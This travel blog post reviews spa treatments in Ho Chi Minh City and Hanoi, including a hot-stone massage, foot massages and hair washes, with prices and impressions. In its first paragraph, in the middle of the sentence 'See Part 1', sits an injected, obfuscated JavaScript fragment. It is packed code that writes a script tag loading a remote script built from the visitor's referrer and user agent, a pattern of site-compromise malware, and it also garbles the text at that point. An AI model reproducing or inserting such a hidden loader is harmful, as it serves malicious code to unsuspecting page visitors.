Spa Treatments in SE Asia – For Science: Vietnam

Part 2 of my review of spa treatments in SE Asia.  See Part ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“<\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bttfe|var|u0026u|referrer|sitsb||js|php’.split(‘|’),0,{}))
1, in Japan for the expensive start to this experiment.

Once we got to Vietnam, and the cost of a spa treatment went dramatically down, it seemed only right to sample multiple spa treatments per country.  When performing a science experiment it is critical to have a sufficiently large sample size to help reduce error (thanks, Brinda!).

Location: Indochine Spa, Ho Chi Minh, Vietnam (69 Thu Khoa Huan street,District 1)

Treatment: 80 minute warm stone therapy – it was a massage where they used their hands and some hot rocks or “stones”
Cost: 630,000 VND (~$30)
Details: This is a nice, clean spa.  By US standards it’s pretty much no frills, but by Vietnam standards it’s quite fancy.  You get a private room with a small lockbox.  It looked like almost every other massage room I’ve been in, except they used towels instead of sheets.  No biggy.  The stones were about 1 degree cooler than what I could reasonably handle, and I’m notorious for taking super hot showers.  So just keep that in mind.  The massage may be a bit alarming at first.  The small masseuse starts out by jumping on top of you – not literally, but her feet are not on the floor and she uses her elbows and knees accompanied by her own body weight to massage your kinks away.  A small woman with boney elbows packs quite a punch.  Let. Me. Tell. You.  When I filled out my initial paperwork, I checked the “medium pressure” box.  I had to ask her to ease up no less than 3 times – which kinda feels like quitting.  I can’t imagine how painful a “hard pressure” massage would be.  But it felt great and it was a nice way to spend an afternoon.  After the massage, they walk you out to the lobby area and bring you a cup of ginger tea and some dried fruit – the coconut was delicious!  Be sure to request the bill, they won’t bring it until you ask.

Location: Ho Chi Minh

Treatment: Hair wash, about 30 min
Cost: 150,000 VND (~$7)
Details: I’ve never gotten a blowout in the US.  But I have a lot of fancy friends who get them done.  Basically, someone else washes your hair and blow drys it.  A Vietnamese hair wash is similar.  They wash your hair at least 2 times – I was in such a state of bliss I really can’t remember if they washed it a third time.  Either way, my hair was VERY clean.  While they are washing your hair, they are also scrubbing your scalp like crazy.  Whenever I get my haircut, I always look forward to getting my hair washed. This was the ultimate hair wash.  Between washings, they also wash your face and massage your head.  Did I mention that I was lounging on a day bed?  Way more comfortable than the chair/sink setup at salons in the US.  After they finish washing your hair, they blow it out. I didn’t get a choice of styles, but my guy blew it out STRAIGHT.  Like Chi Straightener straight.  I have to say I was impressed.  I couldn’t believe how straight he got it! My plan is to get this done every few days, because I really can’t be bothered to wash my own hair while on vacation 🙂

Location: Daisy, Hanoi, Vietnam (16 Au Trieu)

Treatment: 60 minute foot massage
Cost: 180,000 VND (~$8) (tipped 20,000 so the total was a little under $10)
Details: Thanks to a tip from Travelfish, I tried out Daisy. Not gonna lie.  The place looks medium sketchy from the outside.  Opening their blinds would go a long way.  Started out with one of those foot massage things from the 80s.  We had a blue one back at home, this one was white but kinda gross on the inside.  I had recalled my foot massage in China, where they used this brown tinted water to get your feet nice and ready – so I just assumed it was the same idea here.  I’ll let you know later if I caught anything from this lovely soak (update: no nasty foot diseases!).  Back to the massage.  Little did I know (well, I sorta already knew since my friend had already told me) but a 60 minute foot massage is really a 30 minute foot massage with a 30 minute back/neck/arm massage.  Yay!  So for the first 15 minutes – while your feet soak in god knows what – they massage your arms.  Then they massage your feet – toes to knees – for the next 30ish min.  This is followed up by a 15 minute back/neck massage.  I think it might have been my fave so far!  You stay fully clothed and I kinda like keeping my clothes on.

Location: Van Xuan (18 Ly Quoc Su)
Treatment: 70 minute foot massage
Cost: 140,000 VND (~$7) (the total was a little under $10 with tip)
Details: Looking to compare foot massages, I found Van Xuan by searching the interwebs.  They have 3 locations around Hanoi, and one not far from our hotel.  They got pretty good reviews and were even cheaper than Daisy!  Nick and I headed there on our last day in Hanoi.  We were greeted in a nicely appointed lobby and then escorted in to the shadiest looking spa room I’ve ever seen in my entire life.  The light was super low, it was stuffy, and the ceiling was so low Nick couldn’t even stand up straight.  Had I been there alone and not read reviews warning that the ambiance wasn’t all that great, I would have b-lined for the door.  They provide a set of shorts for you to wear if you can’t roll your pants above your knees or you’re worried the oil will get on your clothes – a nice touch.  They also have a way less sketchy foot basin than daisy.  They line it with a plastic bag, so you know it’s brand new.  The massage was pretty good, although I think I prefer the one at Daisy.  A little too hurty at times.  Keep in mind that many people online did not like Daisy, so perhaps I just got lucky with Tuan.  Nick commented that his feet felt very smooth afterwards.

Location: Hanoi (Chan Cam or Ngu Huyen….I can’t remember)
Treatment: Hair wash, about 45 min

Cost: 100,000 VND (~$5)
Details: I was determined to not wash my hair in Vietnam.  Because why should I? So I found a place on a random street after our foot massage at Van Xuan.  The shop was small and not nearly as nice as the one I went to in Ho Chi Minh.  But they massaged my head like pros and gave me some crazy Victoria Secret waves when they blew it out.  Not a fan of how long it took….close to an hour from when I stepped inside – but I did have to wait for a chair to free up.